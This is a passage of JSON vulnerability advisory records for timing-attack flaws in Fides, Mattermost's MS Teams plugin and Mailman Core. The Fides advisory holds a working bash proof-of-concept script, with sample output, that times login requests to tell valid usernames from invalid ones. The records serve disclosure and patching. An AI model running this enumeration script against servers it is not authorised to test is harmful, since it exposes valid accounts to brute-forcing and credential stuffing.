          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-04T18:03:26Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.\n\n### Impact\nThis vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server\u0027s response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.\n\n### Patches\nThe vulnerability has been patched in Fides version `2.44.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n\n\n### Proof of Concept\n\n1. Create a valid user called `valid_user` on a remote Fides server. Ensure that there is no user on the server named `invalid_user`. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.\n2. In a terminal run `export LOGIN_URL=\u0027https://example.com/api/v1/login\u0027`, replacing `example.com` with your remote Fides server\u0027s domain or IP address.\n3. In the same terminal run `exploit-poc.sh` (detailed below).\n4. It\u0027s possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.  \n\n\n\u003cdetails\u003e\n\u003csummary\u003eExploit PoC script\u003c/summary\u003e\n\n```bash\n#!/bin/bash\n\n# Function to test login and calculate average transfer times\ntest_login(){\n  echo -e \"\\nTesting login for user: $1\\n\"\n  total_diff=0\n\n  for (( i=1; i \u003c= 20; ++i ))\n  do\n    echo -n \"Attempt #$i: \"\n    resp=$(curl -w @- \"$LOGIN_URL\" \\\n      -H \u0027content-type: application/json\u0027 \\\n      --data-raw \u0027{\"username\":\"\u0027$1\u0027\",\"password\":\"d3JvbmdwYXNzd29yZA==\"}\u0027 \\\n      -o /dev/null -s \u003c\u003c\u0027EOF\u0027\n      {\n        \"pretransfer\":  %{time_pretransfer},\n        \"starttransfer\": %{time_starttransfer}\n      }\nEOF\n    )\n    \n    pre=$(echo $resp | jq \u0027.pretransfer\u0027)\n    start=$(echo $resp | jq \u0027.starttransfer\u0027)\n    diff=$(echo \"$start - $pre\" | bc)\n\n    # Accumulate total diff\n    total_diff=$(echo \"$total_diff + $diff\" | bc)\n    \n    # Print the result of this iteration\n    printf \"Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\\n\" \"$pre\" \"$start\" \"$diff\"\n  done\n  \n  # Calculate average diff\n  avg_diff=$(echo \"scale=4; $total_diff / 20\" | bc)\n  \n  # Print average time\n  echo -e \"\\nAverage Time Difference for $1: $avg_diff seconds\\n\"\n}\n\n# Ensure that LOGIN_URL is set\nif [ -z \"$LOGIN_URL\" ]; then\n  echo \"Error: LOGIN_URL environment variable is not set.\"\n  exit 1\nfi\n\n# Test valid and invalid users\ntest_login valid_user \ntest_login invalid_user\n```\n\n\u003c/details\u003e\n\n\n\u003cdetails\u003e\n\u003csummary\u003eSample script run\u003c/summary\u003e\n\n\n```\n~ \u276f ./exploit-poc.sh\n\nTesting login for user: valid_user\n\nAttempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398\nAttempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751\nAttempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512\nAttempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932\nAttempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127\nAttempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113\nAttempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085\nAttempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344\nAttempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673\nAttempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321\nAttempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029\nAttempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014\nAttempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336\nAttempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201\nAttempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235\nAttempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078\nAttempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517\nAttempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572\nAttempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564\nAttempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785\n\nAverage Time Difference for valid_user: .6779 seconds\n\n\nTesting login for user: invalid_user\n\nAttempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626\nAttempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498\nAttempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694\nAttempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122\nAttempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088\nAttempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406\nAttempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599\nAttempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518\nAttempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353\nAttempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476\nAttempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443\nAttempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573\nAttempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361\nAttempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440\nAttempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449\nAttempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512\nAttempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673\nAttempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977\nAttempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013\nAttempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410\n\nAverage Time Difference for invalid_user: .3161 seconds\n\n~ \u276f\n```\n\u003c/details\u003e\n\n### Severity\n\nThis vulnerability has been assigned a severity of LOW.\n\nUsing CVSS v3.1 it could be scored as`AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (5.3 Medium/Moderate) or `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N` (0.0 None) depending on the Confidentiality impact metric used.\n\nIn [Bugcrowd\u0027s vulnerability rating taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) \u003e Username/Email Enumeration \u003e Non-Brute Force.",
  "id": "GHSA-2h46-8gf5-fmxv",
  "modified": "2024-09-04T18:03:26Z",
  "published": "2024-09-04T18:03:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/security/advisories/GHSA-2h46-8gf5-fmxv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethyca/fides"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250314142426-c049748b8863"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-plugin-msteams"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-16T14:58:55Z",
    "nvd_published_at": "2025-04-16T10:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost Plugin MSTeams versions \u003c2.1.0 and Mattermost Server\u00a0versions 10.5.x \u003c=10.5.1 with the MS Teams plugin enabled fail to perform constant time comparison on a MSTeams plugin webhook secret which allows\u00a0an attacker to retrieve the webhook secret of the MSTeams plugin via a timing attack during webhook secret comparison.",
  "id": "GHSA-2j87-p623-8cc2",
  "modified": "2025-04-23T15:18:35Z",
  "published": "2025-04-16T12:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3618"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost vulnerable to Observable Timing Discrepancy"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mailman"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-34337"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-18T13:05:08Z",
    "nvd_published_at": "2023-04-15T20:16:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Mailman Core before 3.3.5. An attacker with access to the REST API could use timing attacks to determine the value of the configured REST API password and then make arbitrary REST API calls. The REST API is bound to localhost by default, limiting the ability for attackers to exploit this, but can optionally be made to listen on other interfaces.",
  "id": "GHSA-2jg5-xgvv-4wq7",
  "modified": "2024-09-30T16:52:42Z",
  "published": "2023-04-15T21:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mailman/PYSEC-2023-22.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://gitlab.com/mailman/mailman"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mailman/mailman/-/commit/e4a39488c4510fcad8851217f10e7337a196bb51"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mailman/mailman/-/issues/911"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/mailman/mailman/-/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mailman Core vulnerable to timing attacks"
}